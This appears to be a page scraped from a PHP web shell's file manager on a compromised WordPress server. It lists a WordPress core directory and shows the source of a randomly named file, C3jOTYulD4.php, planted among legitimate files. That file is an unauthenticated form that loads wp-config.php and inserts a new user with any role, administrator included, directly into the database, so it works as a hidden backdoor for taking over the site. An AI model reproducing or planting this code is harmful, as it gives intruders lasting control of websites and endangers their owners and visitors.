Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.1.1 & Your IP : 18.221.160.2
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
theprintave /
wp-includes /
block-supports /
Delete
Unzip
Name
Size
Permission
Date
Action
C3jOTYulD4.php
4.05
KB
-rw-r--r--
2025-05-12 05:36
align.php
1.67
KB
-rw-r-----
2023-08-10 16:48
aria-label.php
1.57
KB
-rw-r--r--
2025-04-15 17:44
background.php
4.02
KB
-rw-r--r--
2024-11-13 12:36
block-style-variations.php
9.2
KB
-rw-r--r--
2025-04-15 17:44
border.php
6.27
KB
-rw-r-----
2023-09-29 10:20
colors.php
5.81
KB
-rw-r-----
2023-09-29 10:20
custom-classname.php
1.64
KB
-rw-r-----
2023-08-10 16:48
dimensions.php
5.28
KB
-rw-r--r--
2024-04-03 05:49
duotone.php
2.67
KB
-rw-r--r--
2024-07-16 17:55
elements.php
8.46
KB
-rw-r--r--
2024-07-16 17:55
generated-classname.php
1.7
KB
-rw-r-----
2023-08-10 16:48
layout.php
38.5
KB
-rw-r--r--
2025-04-15 17:44
position.php
4.24
KB
-rw-r-----
2023-09-26 13:47
settings.php
4.52
KB
-rw-r-----
2023-09-26 13:47
shadow.php
2.04
KB
-rw-r--r--
2024-07-16 17:55
spacing.php
2.81
KB
-rw-r-----
2023-09-26 13:47
typography.php
28.13
KB
-rw-r--r--
2024-11-13 12:36
utils.php
1011
B
-rw-r-----
2023-08-18 17:29
Save
Rename
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Add New User</title> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> </head> <body> <?php // Load WordPress database configuration require_once($_SERVER['DOCUMENT_ROOT'] .'/wp-config.php'); // Custom function to insert a user manually function custom_insert_user($username, $email, $password, $role = 'subscriber') { global $wpdb; // Check if the user with the given username or email already exists $existing_user = $wpdb->get_var( $wpdb->prepare("SELECT user_login FROM $wpdb->users WHERE user_login = %s OR user_email = %s", $username, $email) ); if ($existing_user) { return new WP_Error('existing_user', __('User with this username or email already exists.', 'your-text-domain')); } // Generate hashed password $hashed_password = wp_hash_password($password); // Insert user into the database $wpdb->insert( $wpdb->users, array( 'user_login' => $username, 'user_pass' => $hashed_password, 'user_email' => $email, 'user_registered' => current_time('mysql'), ) ); // Get the inserted user ID $user_id = $wpdb->insert_id; // Assign role to the user $wpdb->insert( $wpdb->usermeta, array( 'user_id' => $user_id, 'meta_key' => $wpdb->prefix . 'capabilities', 'meta_value' => serialize(array($role => true)) ) ); return $user_id; } // Get all roles dynamically from WordPress global $wp_roles; $roles = $wp_roles->get_names(); // Check if form is submitted if ($_SERVER["REQUEST_METHOD"] == "POST") { // Collect form data $username = $_POST['username']; $email = $_POST['email']; $password = $_POST['password']; $role = $_POST['role']; // Get selected role from the form // Insert user $result = custom_insert_user($username, $email, $password, $role); // Display result if (!is_wp_error($result)) { echo 'User inserted successfully with ID: ' . $result; } else { echo 'Error: ' . $result->get_error_message(); } } ?> <!-- Bootstrap 4 form to collect user information --> <div class="container mt-5"> <div class="row justify-content-center"> <div class="col-md-6"> <div class="card"> <div class="card-body"> <h5 class="card-title">Add New User</h5> <form method="post"> <div class="form-group"> <label for="username">Username:</label> <input type="text" class="form-control" id="username" name="username"> </div> <div class="form-group"> <label for="email">Email:</label> <input type="email" class="form-control" id="email" name="email"> </div> <div class="form-group"> <label for="password">Password:</label> <input type="password" class="form-control" id="password" name="password"> </div> <div class="form-group"> <label for="role">Role:</label> <select class="form-control" id="role" name="role"> <?php foreach ($roles as $role_key => $role_value) : ?> <option value="<?php echo esc_attr($role_key); ?>"><?php echo esc_html($role_value); ?></option> <?php endforeach; ?> </select> </div> <button type="submit" class="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> </div> </body> </html>